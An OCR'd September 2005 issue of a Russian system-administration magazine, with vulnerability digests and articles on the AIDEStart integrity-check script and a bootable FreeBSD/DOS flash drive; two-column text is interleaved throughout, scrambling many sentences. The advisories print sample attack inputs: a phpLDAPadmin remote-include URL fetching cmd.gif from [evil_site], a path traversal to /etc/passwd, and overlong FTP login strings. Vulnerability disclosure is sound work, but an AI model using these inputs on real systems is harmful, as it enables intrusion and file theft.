Описание: Уязвимость существует из-за ошибки при об- USER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n
работке ARJ-архивов, содержащих слишком длинные име- PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n
на файлов. Удачная эксплуатация уязвимости позволит URL производителя: www.whitsoftdev.com/slimftpd.
злоумышленнику выполнить произвольный код на целе- Решение: В настоящее время способов устранения уязви-
вой системе. мости не существует.
URL производителя: www.nod32.com.
Решение: Установите исправление с сайта производите- Отказ в обслуживании в Squid
ля. Программа: Squid 2.5.
Опасность: Средняя.
Утечка памяти в Apache Описание: Уязвимость существует из-за ошибки сегмента-
Программа: Apache 2.0.х. ции в функции sslConnectTimeout() файла /squid/src/ssl.c. Уда-
Опасность: Средняя. ленный пользователь может с помощью специально сфор-
Описание: Уязвимость существует в функции ap_ мированного запроса аварийно завершить работу уязвимо-
byterange_filter() модуля modules/http/http_protocol.c. Удален- го сервиса.
ный пользователь может послать CGI -приложению специ- URL производителя: www.squid-cache.org.
ально сформированный HTTP-запрос и вызвать отказ в об- Решение: Установите исправление с сайта производите-
служивании приложения. ля: www.squid-cache.org/…2.5.STABLE10-sslConnectTimeout.
URL производителя: www.apache.org. patch.
Решение: Установите исправление, доступное по SVN:
http://svn.apache.org/viewcvs.cgi?rev=239378&view=rev. Составил Александр Антипов

№9, сентябрь 2005 27


администрирование

УПРАВЛЯЕМ УДАЛЕННЫМИ БАЗАМИ AIDE


ЧАСТЬ II – AIDEStart

РАШИД АЧИЛОВ
Никто его не ждет, хотя постоянно готовится к нему. И вот он наступает – день, когда
сервер взламывается и необходимо проверить, какие файлы подверглись изменениям.
Заветная флэшка с данными контрольных сумм достается из сейфа. Как ей воспользоваться
на взломанной машине, чтобы максимально обезопасить себя от фальсификации результата?

А зачем отдельный ми базами AIDE. Его назначение – ис- плект исполняемых файлов для выпол-
скрипт запуска? пользовать сохраненные базы для про- нения проверки и всех вспомогатель-
Конечно, наилучшим решением бы- верки системы. При этом предполага- ных операций: chown, chmod, ln и т. д.
ла бы загрузка с LiveCD/Flash/другой ется, что проверяемая машина недове- Все они сделаны статически собранны-
системы, монтирование дисков серве- ренная, то есть может содержать пов- ми для того, чтобы исключить взаимо-
ра вручную и проверка их в полностью режденные и/или зараженные файлы. действие с libc.so. AIDEstart выполняет
доверенной системе. Но неприятности Поэтому дополнительно ко всему про- обычный комплект операций – иници-
тем и неприятны, что приходят как раз чему AIDEstart минимально использует ализация базы, проверка, обновление
в тот момент, когда такая система, ес- ее средства, говоря точнее, использу- базы. Если база обновлялась, то полу-
ли она есть, неисправна, незаконче- ется только ядро системы (/boot/kernel). ченную обновленную базу необходимо
на или просто физически отсутствует. Все остальные средства находятся перенести на Flash вручную, для чего
Поэтому для запуска проверки непос- на съемном носителе, предназначен- предусмотрена опция командной стро-
редственно на недостоверной машине ном для хранения последнего поколе- ки «не размонтировать Flash по окон-
будет использовать AIDEStart. ния баз AIDE. чании работы».
AIDEstart – второй скрипт, предна- Дополнительно к последнему поко- Полный текст скрипта смотрите на
значенный для управления удаленны- лению носитель содержит полный ком- сайте www.samag.ru, в разделе «Исход-

28
администрирование
ный код»). Он снабжен достаточно подробными коммента- ! -c – проверить систему по последней базе (выполняет-
риями, а наиболее важные и интересные моменты мы об- ся команда aide --check).
судим далее по ходу статьи. ! -u – обновить последнюю базу данных (выполняется ко-
манда aide --update).
Готовим носитель для AIDEStart ! -m – сравнить базы данных (выполняется команда aide
Для того чтобы Flash, содержащий базы, предварительно --compare).
заполненный с помощью AIDEcontrol, можно было исполь- ! -f – указывает имя и путь к конфигурационному файлу
зовать c AIDEstart, его необходимо предварительно подго- (по умолчанию /usr/local/etc/aidecontrol.conf).
товить. Эти действия не выполняются AIDEControl, посколь- ! -n – не размонтировать Flash после окончания работы.
ку заранее неизвестно, будет ли использоваться AIDEStart Эта опция предназначена для команд, изменяющих ба-
для проверки или нет. Все действия по подготовке Flash зу. AIDEStart сам не копирует созданную/обновленную
необходимо проводить на доверенной машине, поскольку базу с компьютера на Flash, и это сделано намеренно.
именно этот комплект исполняемых файлов будет считать- Вы сами должны решить, стоит ли заменять последнюю
ся эталоном при запуске на недостоверной машине. Flash, копию базы на Flash, на новую или нет.
заполненный с помощью AIDEControl, содержит каталоги ! -5 – скрипт запускается на FreeBSD 5.x (по умолчанию
с именами, совпадающими с именами машин в файле опи- предполагается 4.x).
сания узлов. Дополнительно необходимо вручную создать
каталоги bin и bin5, в которые поместить соответственно Таким образом:
статически собранные для FreeBSD 4.x и для FreeBSD 5.x
исполняемые файлы: Bzip2, AIDE, camcontrol, chown, chmod, # aidestart -i
cp, mv, less, rm, umount, а также собственно aidecontrol,
aidestart и конфигурационный файл aidecontrol.conf. инициализирует базу по умолчанию (/var/db/aide/aide.db, ес-
Для того чтобы собрать все перечисленные выше ис- ли в конфигурационном файле не указано иное).
полняемые файлы, статически ищем их в дереве исход-
ных текстов системы (или портов для AIDE), и добавляем # aidestart -u -n
в Makefile строчку:
проверит систему по последней базе с ее одновременным
LDADD += -static обновлением, выведет отчет с помощью less и переимену-
ет «новую» базу (aide.db.new) в «старую» (aide.db). После
после чего запускаем make. После завершения работы make выполнения этой операции Flash не будет размонтирова-
в каталоге будет находится исполняемый файл, собранный на для возможной перезаписи «старой» базы.
статически, в чем можно убедиться таким образом:
#aidestart -m -f /tmp/blabla.conf -5
# ldd chmod

ldd: chmod: not a dynamic executable сравнит «старую» базу, загруженную с Flash, и «новую»
(aide.db.new), созданную, возможно, в другое время, исполь-
Местоположение нужных нам файлов: зуя конфигурационный файл /tmp/blabla.conf и учитывая то,
! /usr/src/bin/chmod что запускаться скрипт будет на FreeBSD 5.x.
! /usr/src/bin/cp
! /usr/src/bin/mv Загрузка базы AIDE для проверки
! /usr/src/bin/rm Эта функция разбирается просто для того, чтобы показать,
! /usr/src/sbin/camcontrol что скрипт действительно не использует никаких систем-
! /usr/src/sbin/umount ных исполняемых файлов для работы – только свои собс-
! /usr/src/usr.bin/bzip2 твенные.
! /usr/src/usr.bin/less
! /usr/src/usr.sbin/chown loadbase()
{
$aidepath/rm -f $adbnam
Опции командной строки $aidepath/cp $aidebase/$adbnam.bz2 $adbnam.bz2
и примеры запуска $aidepath/chown $abowner:$abgroup $adbnam.bz2
Перед началом проверки нам нужно переписать конфигура- $aidepath/chmod $abmode $adbnam.bz2
ционный файл aidecontrol.conf на его обычное место – /usr/ $aidepath/bzip2 -d -q $adbnam.bz2
local/etc/aidecontrol.conf. Это обычный текстовый файл, за не- }
го нечего бояться. Файл можно и не копировать, но тогда при-
дется каждый раз указывать место его размещения.
AIDEStart распознает следующие опции командной Выполнение операции
строки: Перед тем как скопировать базу с Flash-диска, скрипт
! -h – краткая справка по опциям (без примеров). проверяет параметр starthost из конфигурационного фай-
! -i – инициализировать базы AIDE (выполняется коман- ла – его значение должно быть установлено равным тому
да aide --init). имени, что было задано для данного компьютера в фай-

№9, сентябрь 2005 29


администрирование
ле описания узлов, использованного less), после чего «новая» база будет Если монтирование Flash проходит
в AIDEcontrol. Если значение парамет- переименована в «старую» (для init или успешно, то ошибиться практически не-
ра не изменено (а по умолчанию оно update), у нее будет изменен владелец где. Единственная возможность – ука-
равно «--SET-HERE--»), скрипт прекра- и права доступа на указанные в конфи- зать неверные пути в aidecontrol.conf.
щает работу. гурационном файле. Пожалуйста, проверьте правильность
Затем скрипт пытается смонтиро- Последнее, что сделает скрипт, – написания, существования и наличия
вать Flash с последним поколением это размонтирует Flash, если не за- прав на данные каталоги (Кто сказал,
баз. Для этого должны быть выполне- дан ключ, запрещающий это. Перед что root может все? Попробуйте-ка уда-
ны все необходимые настройки, опи- тем как размонтировать, в /tmp будут лить каталог с атрибутом schg при kern.
санные в [1]. Если все сделано пра- сброшены исполняемые файлы umount securelevel=2 и выше).
вильно, Flash должен монтироваться и camcontrol, потому что Flash будет
сразу же после установки. Это очень недоступна, а пользоваться недове- Заключение
просто проверить – достаточно вста- ренными исполняемыми файлами не- Так все-таки можно обойтись без дан-
вить Flash, и он должен смонтировать- льзя. Сброшенные umount и camcontrol ного скрипта или нет? Конечно, можно,
ся в точку /mnt/umass (или любую дру- размонтируют Flash и остановят ус- если все выполняемые здесь операции
гую, заданную в /etc/fstab). Так же, как тройство (скрипт анализирует спи- делать руками, помнить правильную
и в AIDEStart, монтирование происходит сок устройств и выбирает то, которое последовательность и не ошибать-
в бесконечном цикле ожидания – пока было на нужной нам точке монтиро- ся в ней. Данный скрипт – всего лишь
нужное устройство не найдено среди вания). Остановка устройства нужна «малая механизация» для того, чтобы
смонтированных, можно будет увидеть главным образом для того, чтобы по- освободить свою память для решения
только запрос на установку Flash. гасить индикатор готовности на Flash, более важных задач. Ну и, разумеет-
После успешного монтирования хотя это работает не на всех устройс- ся, не следует оставлять Flash с база-
Flash выполняется запрошенная опе- твах. После чего и собственно umount ми где попало, в том числе и в рабо-
рация. Для операции инициализации и camcontrol будут тоже удалены. чем столе. Например, я постоянно но-
базы загрузка с Flash не производит- шу ее при себе.
ся, иначе последняя база загружает- Возможные ошибки
ся с Flash в стандартное расположе- Наиболее сложной частью здесь яв- Литература:
ние и выполняется соответствующая ляется настройка USB для того, что- 1. Ачилов Р. Управляем удаленными
операция. После выполнения опера- бы монтирование Flash происходило базами AIDE. – Журнал «Систем-
ции можно просмотреть отчет (он отоб- автоматически. Об этом подробно рас- ный администратор», №8, август
ражается автоматически с помощью сказано в [1]. 2005 г. – 48-53 с.

30
bugtraq

Обход ограничений безопасности Множественные уязвимости


в опции SSLVerifyClient в mod_ssl в FreeRADIUS
Программа: mod_ssl версии до 2.8.24. Программа: FreeRADIUS 1.0.4.
Опасность: Средняя. Опасность: Средняя.
Описание: Уязвимость существует в реализации аутен- Описание: 1. Ошибка при обработке переменных окруже-
тификации, основанной на сертификатах. Если значение ния в функции radius_exec_program() файла exec.c может
опции SSLVerifyClient установлено в optional в глобальной вызвать переполнение стека и вызвать отказ в обслужи-
конфигурации виртуального хоста, злоумышленник может вании системы.
обойти процесс аутентификации и получить неавторизо- 2. Обнаружены ошибки Off-by-one в файлах token.c и sql_
ванный доступ к ресурсам веб-сайта. unixodbc.c. Удаленный пользователь может вызвать отказ
URL производителя: www.modssl.org. в обслуживании приложения.
Решение: Установите последнюю версию с сайта произ- 3. Переполнение стека в модуле xlat.c при обработке
водителя: www.modssl.org/source/mod_ssl-2.8.24-1.3.33.tar. ответов от сервера может позволить злоумышленнику вы-
gz. звать отказ в обслуживании.
4. Утечка памяти возможна из-за ошибки в функции
Уязвимость состояния операции в Squid strftime() в файле xlat.c.
Программа: Squid 2.5 и более ранние версии. 5. Раскрытие данных Ldap в модуле rlm_ldap.c позволя-
Опасность: Средняя. ет злоумышленнику с помощью специально сформирован-
Описание: Уязвимость обнаружена при обработке оста- ного LDAP-запроса получить доступ к потенциально важ-
новленных запросов в файле store.c. При определенных об- ной информации.
стоятельствах удаленный пользователь может прервать за- URL производителя: www.freeradius.org.
прос и вызвать отказ в обслуживании приложения с ошиб- Решение: Установите исправление, доступное по cvs.
кой «e->store_status == STORE_PENDING».
URL производителя: www.squid-cache.org. PHP-инклудинг в phpLDAPadmin
Решение: Установите исправление с сайта произво- Программа: phpLDAPadmin 0.9.6 – 0.9.7/alpha5.
дителя: http://www.squid-cache.org/Versions/v2/2.5/bugs/ Опасность: Критическая.
squid-2.5.STABLE10-STORE_PENDING.patch. Описание: Уязвимость позволяет удаленному пользова-
телю с помощью специально сформированного URL вы-
Отказ в обслуживании полнить произвольный PHP-сценарий на целевой системе
в Symantec Brightmail AntiSpam с привилегиями веб-сервера. Пример:
Программа: Symantec Brightmail AntiSpam 6.0.2. http://[target]/[path]/phpldapadmin/welcome.php?
Опасность: Средняя. custom _ welcome _ page=http ://[evil _ site]/cmd.gif
Описание: Удаленный пользователь может создать e-mail- Удаленный пользователь может просмотреть произ-
сообщение, содержащее разветвленный zip-файл, что при- вольные файлы на системе с помощью символов обхода
ведет к большому потреблению ресурсов для сканирова- каталога. Пример:
ния сообщения. http://[target]/[path]/phpldapadmin/welcome.php?
Удаленный пользователь может послать специально custom _ welcome _ page=../../../../../../../../etc/passwd
сформированное сообщение, содержащее объект winmail. Удаленный пользователь может также выполнить про-
dat внутри MIME-файла, и вызвать отказ в обслуживании извольный HTML-сценарий в браузере жертвы в контексте
приложения. безопасности уязвимого сайта.
URL производителя: www.symantec.com. URL производителя: www.phpldapadmin.sourceforge.net.
Решение: Установите исправление с сайта производите- Решение: В настоящее время способов устранения уязви-
ля: ftp://ftp.symantec.com/public/english_us_canada/products/ мости не существует.
sba/sba_60x/updates/patch157.zip.
Отказ в обслуживании
Отказ в обслуживании в Snort в Microsoft Exchange Server 2003
Программа: Snort 2.4.0 и более ранние версии. Программа: Microsoft Exchange Server 2003.
Опасность: Средняя. Опасность: Средняя.
О п и с а н и е : Уя з в и м о с т ь с у щ е с т в у е т в ф у н к ц и и Описание: Уязвимость вызвана неопределенной ошиб-
PrintTcpOptions() файла snort-2.4.0/src/log.c из-за ошибки кой при обработке запросов для просмотра публичных па-
в нулевом указателе разыменования. Удаленный пользо- пок. Удаленный пользователь может с помощью специаль-
ватель может послать приложению TCP/IP-пакет со специ- но сформированного IMAP4-запроса аварийно завершить
ально сформированной опцией TCP SACK и вызвать отказ службу Microsoft Exchange Information Store (Store.exe).
в обслуживании. Успешная эксплуатация уязвимости тре- URL производителя: www.microsoft.com.
бует, чтобы Snort был запущен с ключом -v. Решение: Установите исправление с сайта производите-
URL производителя: www.snort.org. ля.
Решение: Установите последнюю версию (2.4.1), доступ-
ную по CVS. Составил Александр Антипов

№9, сентябрь 2005 31


администрирование

СОЗДАЕМ ЗАГРУЖАЕМЫЙ FLASH-ДИСК


С Free
reeBSD
BSD И DOS
ЧАСТЬ I

РАШИД АЧИЛОВ
Начальство признало необходимость установки нового сервера, подписало счета, выделило
деньги – вот он, красавец! Вот только... как на него поставить FreeBSD? Дисковода нет,
CD-ROM отсутствует, из стойки не вытащить... Да и оборудование бы проверить.
Остается одно – загрузить с USB.

Наша цель – загрузиться таскивать его надолго оттуда нельзя MS-DOS. Нужен непосредственный
с Flash (а иначе что это за сервер?). Ведь сов- доступ к оборудованию. В *NIX такое
Поначалу задача казалась настоль- ременные компьютеры умеют грузить- может быть обеспечено драйвером,
ко несложной, что даже мысли писать ся с Flash. Нет такой Flash? Ну что ж, но где вы видели драйвер, который
об этом не возникало. Ну подумаешь, надо сделать... И не забыть при этом, позволяет напрямую пропустить ко-
поставить систему на компьютер, в ко- что временами возникает необходи- манды канала? Значит, надо предус-
тором нет ни дисковода гибких дисков, мость тестирования жестких дисков, мотреть на Flash-диске наличие MS-
ни CD-ROM, а жесткие диски в нем ус- сетевых карт, xDSL-модемов и прочего DOS, а также менеджер загрузок, ко-
тановлены вертикально, чтобы боль- оборудования на самом нижнем уров- торый позволил бы выбрать при старте
ше поместилось. К тому же он будет не. А какая операционная система поз- одну из этих систем. Причем это дол-
постоянно установлен в стойке и вы- волит это сделать? Правильно, только жен быть не стандартный для FreeBSD

32
администрирование
BootEasy, который своим аскетичным внешним видом спо- шеизложенного – показать, что Frenzy и FlashBOOT созда-
собен испугать кого угодно. вались для решения разных задач. FlashBOOT – это не ком-
плект программ для работы, это комплект аварийно-вос-
Это не Frenzy. И не FreeSBIE. становительный с возможностью установки системы на но-
Это FlashBOOT! вый компьютер, что-то среднее между Install и Fixit-дисками
Сообщество эхо-конференции RU.UNIX.BSD откровенно не- из стандартной поставки FreeBSD. FlashBOOT в значитель-
доумевало, когда я сказал о том, что собираюсь сделать. но большей мере рассчитан на тех, кто понимает, что он де-
Отзывы были примерно такими: «это все ерунда, уже есть лает, потому что установка системы в нем производится
Frenzy, которая умеет грузиться с Flash, уже есть FreeSBIE, не как обычно, «не выходя из sysinstall», а по большей час-
которая с версии 2.0 сможет загружаться с любого носите- ти ручным вводом команд. Да, это не модно. Да, это слож-
ля, а DOS – так он вообще никому уже не нужен». Любопыт- нее, чем обычно. Но это работает. В нем нет и скорее всего
но, что про то, что DOS никому не нужен, говорили люди, никогда не будет никаких графических сред. В нем есть то,
для которых замена жесткого диска, как правило, дешевле что необходимо для установки FreeBSD на новый компью-
ремонта. Или же люди, не представляющие себе, что можно тер, для тестирования аппаратной части, для проверки фай-
сделать с помощью, например, MHDD. На что я неизменно ловой целостности... и все, что входит в базовую поставку
отвечал, что этот проект разрабатываю для себя, если ко- стандартной системы, перечислять здесь не имеет никако-
му-то он понравится – хорошо, нет – и не надо. го смысла. А также все, что можно запустить в DOS.
Итак, что же входит в состав Flash-BOOT и чем он отли- Итак, что же входит во FlashBOOT?
чается от Frenzy (FreeSBIE в настоящий момент еще не уме-
ет грузиться с Flash и, по причинам, приведенным выше, Состав FlashBOOT
не рассматривается). Отчет fdisk:
«Frenzy – это «портативный инструмент системного ад-
министратора», LiveCD на базе ОС FreeBSD, загрузившись # fdisk /dev/da0
с которого, администратор получает полностью работоспо- ******* Working on device /dev/da0 *******
собную систему с набором программного обеспечения для parameters extracted from in-core disklabel are:
cylinders=246 heads=64 sectors/track=32 (2048 blks/cyl)
настройки, проверки и анализа сети, тестирования ком-
пьютерного «железа» и ряда других задач» – это описа- parameters to be used for BIOS calculations are:
ние Frenzy взято с [1]. После ознакомления со списком про- cylinders=246 heads=64 sectors/track=32 (2048 blks/cyl)

грамм, входящих во Frenzy, я сразу же задался вопросом: Media sector size is 512
«А для чего все это?». После некоторого более присталь- Warning: BIOS sector numbering starts with sector 1
Information from DOS bootblock is:
ного изучения возник и ответ: «Так это же LiveCD на Flash, The data for partition 1 is:
а вовсе не то, что мне нужно!» sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB))
Какие цели преследует Frenzy? Как и любой другой start 63, size 48132 (23 Meg), flag 0
beg: cyl 0/ head 1/ sector 1;
LiveCD – загрузиться и предоставить пользователю макси- end: cyl 47/ head 12/ sector 63
мально возможное количество программ для работы. Отсю- The data for partition 2 is:
да и графическая среда, и почтовые клиенты, и разнообраз- sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD)
start 48195, size 455612 (222 Meg), flag 80 (active)
ные коммуникаторы – список программ, входящих во Frenzy, beg: cyl 47/ head 13/ sector 1;
достаточно впечатляющий. Несомненно, это все нужные ве- end: cyl 499/ head 12/ sector 59
The data for partition 3 is:
щи. Но как с их помощью проверить целостность файловой <UNUSED>
базы? AIDE, которая по моему мнению, нужнее, чем все гра- The data for partition 4 is:
фические менеджеры, вместе взятые, я не нашел. Наличие <UNUSED>

программ стандартной поставки (fdisk, disklabel, sysinstall, В качестве менеджера загрузки операционных систем
etc.) на сайте не оговаривается, дистрибутив мне скачивать используется программа, функционирующая под DOS –
не захотелось – жаль тратить «на посмотреть» 600 Мб вов- xFDisk, взятая с [2]. Программа была выбрана после долгой
се не бесплатного трафика. Скорее всего их нет – в состав процедуры отбора менеджеров загрузки, способных:
Frenzy входит множество программ, нужно же где-то взять ! Загрузиться с Flash самим. Как это ни странно, это ока-
для них место. То есть установить FreeBSD на новый ком- залось непосильной задачей для SyMon [3], Ranish
пьютер с его помощью невозможно. Наличие стандартной Partition Manager (имеет встроенный менеджер загру-
документации на программы (все мы люди, ну вот вылете- зок [4]), XOSL [5] и MATTSoft Boot Manager [6].
ли у меня из головы ключи некоей программы – где пос- ! Загрузить FreeBSD. Это оказалось не под силу симпа-
мотреть, если сервера нет, связи нет и спросить не у кого?) тичному, но, увы, бесполезному zBoot [7].
опять же не оговаривается, скорее всего их тоже нет. Со-
здание собственного дистрибутива Frenzy – вещь отнюдь Другими прошедшими тест на возможность использо-
не тривиальная, автор об этом честно предупреждает, под вания для Flash оказались BootEasy и ExtIPL. Это неудиви-
FreeBSD 5.х создать дистрибутив Frenzy невозможно, по- тельно, потому что BootEasy – стандартный менеджер за-
тому что используется burncd для записи образа. грузок для FreeBSD, а ExtIPL присутствует в портах (sysutils/
Все вышеприведенное было сказано вовсе не с целью extipl). Почему я использовал менеджер загрузок, настра-
как-то преуменьшить заслуги автора Frenzy – «ведь если иваемый под DOS, а не под FreeBSD (GRUB, например)?
звезды зажигают, значит, это кому-нибудь нужно». Цель вы- GRUB был установлен на первые версии FlashBOOT, но пос-

№9, сентябрь 2005 33


администрирование
ле возникновения странных проблем, когда он неожидан-
но отказался ставиться в область загрузки, был заменен
на xFDisk, тем более что переставить DOS значительно про-
ще, чем FreeBSD (рис. 1).

Раздел DOS
Стандартный загружаемый раздел формата FAT16 с уста-
новленной операционной системой MS-DOS 6.22. Опера-
ционная система размещена в каталоге DOS. Установле-
но следующее программное обеспечение:
! Dos Navigator (C:\DN149).
! Multi-Edit 7.0 (C:\ME70).
! Norton Utilites 8.0 (C:\NORTON8).
! Множество различных программ, работающих под DOS, Рисунок 1. Внешний вид менеджера загрузок xFDisk
разнообразного назначения. Архиваторы, конвертеры,
отладчики, упаковщики, драйвера оборудования – все, ! pkgconfig 0.17.2 (требуется для glib, mc)
что может осесть на диске после более чем пяти лет ра- ! libiconv 1.9.2 (требуется для gettext, glib, mc, libgcrypt,
боты под DOS. (C:\UTILS и подкаталоги в нем). libgpg-error)
! rar 3.41
Создано множество вариантов загрузки – загрузка ! gettext 0.14.5 (требуется для glib, mc, libgcrypt, libgpg-
EMM, загрузка драйвера звуковой карты, загрузка драй- error)
вера CD-ROM и загрузка драйвера USB (да-да, это есть!) ! glib 2.6.5 (требуется для mc)
во всех возможных сочетаниях. Оболочка Dos Navigator ! unzip 5.52
установлена вместе с большой (порядка 60) коллекцией ! nmap 3.81
программ просмотра файлов различного формата. Запи- ! libslang 1.4.9 (требуется для mc)
сана программа тестирования дисков на нижнем уровне ! ncftp 3.1.9
MHDD. Все это покрывает практически 90% задач, для ко- ! grub 0.97
торых используется DOS, а для остального всегда есть сво-
бодное место. Для экономии места удалены все каталоги языковых
настроек (удалено все, не относящееся к русскому или анг-
Раздел FreeBSD лийскому). Это /usr/share/locale, /usr/local/share/locale. Почи-
Отчет disklabel: щены все каталоги поддержки национальных языков (/usr/
share/nls, /usr/local/share/nls). Удалены каталоги с докумен-
# disklabel da0s2 тацией о системе /usr/share/doc, /usr/share/info.
# /dev/da0s2:
Скачать образ Flash, упакованный RAR 3.41, можно
8 partitions:
# size offset fstype [fsize bsize bps/cpg] здесь – http://support.spectrum.ru/freebsd/dosandfreebsd54.rar.
a: 455596
c: 455612
16
0
4.2BSD
unused
2048 16384 28480
0 0 # "raw" part, don't edit
Контрольная сумма MD5 равна: MD5 (dosandfreebsd54.rar) =
732ada4b8bc98a0251cfe3682c160a62.
Отчет df: Ядро собрано с оптимизацией под Pentium III (на более
Filesystem 1K-blocks Used Avail Capacity Mounted on
старых компьютерах нет возможности загружаться с USB).
/dev/da0s1 23863 19237 4626 81% /mnt/umass/dos Зарегистрирован только один пользователь root, который
/dev/da0s2a 220420 166856 35932 82% /mnt/umass/ufs может заходить в систему без запроса пароля. Это было
Здесь разделы Flash-диска смонтированы на другом настроено с помощью PAM.
компьютере в точки монтирования /mnt/umass/dos и /mnt/ Сетевая карта при старте системы не настраивает-
umass/ufs соответственно. ся, это необходимо каждый раз делать вручную. Сделано
Стандартный загружаемый раздел FreeBSD. Система это специально, потому что FlashBOOT – дистрибутив ава-
устанавливалась при помощи /stand/sysinstall и частично рийно-восстановительный, и если он используется – значит
вручную, без применения каких-либо скриптов. Установ- произошло что-то нестандартное. По этой же причине не за-
лены стандартные пакеты base, compat4x и man. Вручную пускается ни один сетевой сервис. Впрочем, никто не поме-
добавлены следующие пакеты (все устанавливалось че- шает вам перенастроить систему по своему вкусу.
рез порты):
! pcre 5.0 (требуется для nmap) Создание
! libgpg-error 1.0 (требуется для libgcrypt) Разнообразных ошибок при попытках создания двух раз-
! mc 4.6.0 делов и менеджера загрузок было столько, что я просто
! mhash 0.9.1 (требуется для aide) не знал, за какую из них браться. Первоначальный порядок
! aide 0.10 действий при создании Flash был примерно такой:
! yui 3.1.15 ! Создать раздел FAT16 и отформатировать его.
! libgcrypt 1.2.1 ! Установить загрузчик и ядро операционной системы
! SSH2 3.2.9.1 DOS.

34
администрирование
! Установить менеджер загрузок. чет fdisk по этому файлу можно скачать по ссылке [9]. Об-
! Создать раздел (слайс) FreeBSD, корневой раздел фай- ратите внимание, что значения начала и конца раздела вы-
ловой системы и отформатировать его (асинхронное об- ражены другими цифрами, хотя обьем тот же самый. Ни-
новление должно быть отключено – мигнёт свет при за- же приводятся данные о разделе, созданном с помощью
грузке, и прощайте внесенные изменения. Acronis Disk Directory Suite в Windows.
! Проверить, что загружается и DOS, и FreeBSD.
! Установить и настроить программное обеспечение обе- The data for partition 1 is:
sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB))
их систем. start 63, size 48132 (23 Meg), flag 80 (active)
beg: cyl 0/ head 1/ sector 1;
end: cyl 2/ head 254/ sector 63
Несложный план, скажете вы. Не тут-то было. Пробле-
мы были во всем, от установки менеджера загрузок до на- Следующее действие заключалось в подборе менедже-
стройки софта. Больше всего проблем, конечно же, вызва- ра загрузок, такого, чтобы он мог загрузиться с Flash сам
ло создание раздела FAT16 – ни тривиальными, ни нетри- и загрузить оттуда FreeBSD. В начале статьи уже перечис-
виальными средствами сделать это сначала просто не уда- лены менеджеры загрузок, которые были мной испытаны
валось, потому что: и проверка которых дала отрицательный результат. Пер-
! с FAT-раздела, создаваемого во FreeBSD через /stand/ вым был проверен BootEasy, являющийся стандартным ме-
sysinstall, а также через «fdisk -e», DOS грузиться кате- неджером загрузок для FreeBSD – дубовым, страшненьким
горически отказывался. Да, его можно было увидеть и абсолютно надежным. Разумеется, он заработал. После
через USB for DOS при загрузке с дискеты, но коман- установки BootEasy первым делом был создан образ об-
да sys c: завершалась аварийно. После нескольких по- ласти загрузчика (первые 63 сектора Flash) для восстанов-
пыток я отказался от практики создания разделов FAT ления работоспособности системы во время эксперимен-
во FreeBSD, так как заподозрил, что раздел FAT созда- тов с загрузчиками.
ется «немножко не такой», каким хотел бы его видеть Образ с загрузчиком BootEasy и двумя разделами (DOS
загрузчик BIOS. и FreeBSD) можно скачать по ссылке [10]. Отчет fdisk по это-
! Flash 2.0 объемом 256 Мб, на которой предполагалось му образу можно скачать по ссылке [11].
все это создать (Kingston DataTraveler 2.0), в Windows Образ с загрузчиком xFDisk (внешний вид которого при-
определяется как съемный носитель и соответственно веден на рис. 1) и двумя разделами (DOS и FreeBSD) мож-
не может быть размечен средствами программ работы но скачать по ссылке [12]. Отчет fdisk по этому образу мож-
с разделами жесткого диска типа Acronis Disk Director но скачать по ссылке [13].
или Partition Magic. SyMon, проверенный первым, не увидел ни одного раз-
дела, программа настройки в версии 2.х отказалась за-
Выход из положения был найден, когда я обнаружил, пуститься, в версии 3.х захотела только создать новый
что другая, более старая Flash 1.1 128 Мб (Seitek BAR) оп- раздел.
ределяется Windows как жесткий диск. С помощью Acronis Ranish, XOSL и MATTSoft не смогли загрузиться – про-
Disk Director на этой Flash был создан раздел FAT16 разме- цесс загрузки зависал сразу после появления идентифи-
ром 23 Мб, DOS загружен с дискеты с драйверами USB for кационной надписи менеджера загрузок. Особенно обид-
DOS и вновь созданный раздел был сделан загрузочным но было за Ranish – очень симпатичный менеджер разде-
командой «sys a: c:». лов. Потом был обнаружен zBoot, который наконец-то смог
После этого я убедился, что DOS с этой Flash загружа- загрузиться, а также ExtIPL и xFDisk. После установки ме-
ется, и скопировал ее начало (загрузчик, таблицу разделов, неджера загрузок (в тот момент им был zBoot) с помощью
FAT и только что созданные системные файлы). Копиро- менеджера разделов Ranish Partition Manager был создан
вать все 23 Мб не было необходимости, поскольку нужная раздел для FreeBSD.
информация о файловой системе сосредоточена исключи- Почему для создания раздела не использовалась стан-
тельно в FAT. Образ был создан следующей командой: дартная для FreeBSD программа /stand/sysinstall? Возник-
ло подозрение, что раздел для FreeBSD, создаваемый че-
# dd if=/dev/da0 of=seitek2000.dsk count=2000 рез sysinstall, тоже «немножко не такой», каким хотел бы
его видеть менеджер загрузок. Ниже для сравнения при-
Файл образа, упакованный RAR 3.41, можно скачать водятся несколько укороченные отчеты fdisk по разделам,
по ссылке [8]. созданным с помощью /stand/sysinstall и с помощью Ranish
После его записи на Flash командой, например: Partition manager.
Раздел, созданный /stand/sysinstall:
# dd if=seitek2000.dsk of=/dev/da0
The data for partition 1 is:
sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB))
получится Flash с одним разделом DOS, в котором ничего start 63, size 48132 (23 Meg), flag 80 (active)
beg: cyl 0/ head 1/ sector 32;
нет, кроме ядра системы – io.sys, msdos.sys и command.com. end: cyl 23/ head 34/ sector 3
Менеджера разделов тоже нет. Надо сказать, что в процес- The data for partition 2 is:
се создания Flash именно этот файл не раз оказывал мне sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD)
start 48195, size 455613 (222 Meg), flag 0
неоценимую помощь – неоднократно приходилось возвра- beg: cyl 23/ head 34/ sector 4;
щаться к началу и заново разворачивать его на Flash. От- end: cyl 245/ head 63/ sector 32

№9, сентябрь 2005 35


администрирование
Раздел, созданный Ranish Partiiton Manager: дем – диск и так не очень большой. Для создания разделов
используем команду disklabel следующим образом:
The data for partition 1 is:
sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) # disklabel -w /dev/da0s2
start 63, size 48132 (23 Meg), flag 80 (active)
beg: cyl 0/ head 1/ sector 1;
end: cyl 2/ head 254/ sector 63
The data for partition 2 is:
Здесь /dev/da0s2 – имя слайса, на который будет установ-
sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) лена FreeBSD. Слайс (в терминологии DOS «раздел») /dev/
start 48195, size 455612 (222 Meg), flag 0 da0s1 занят под DOS.
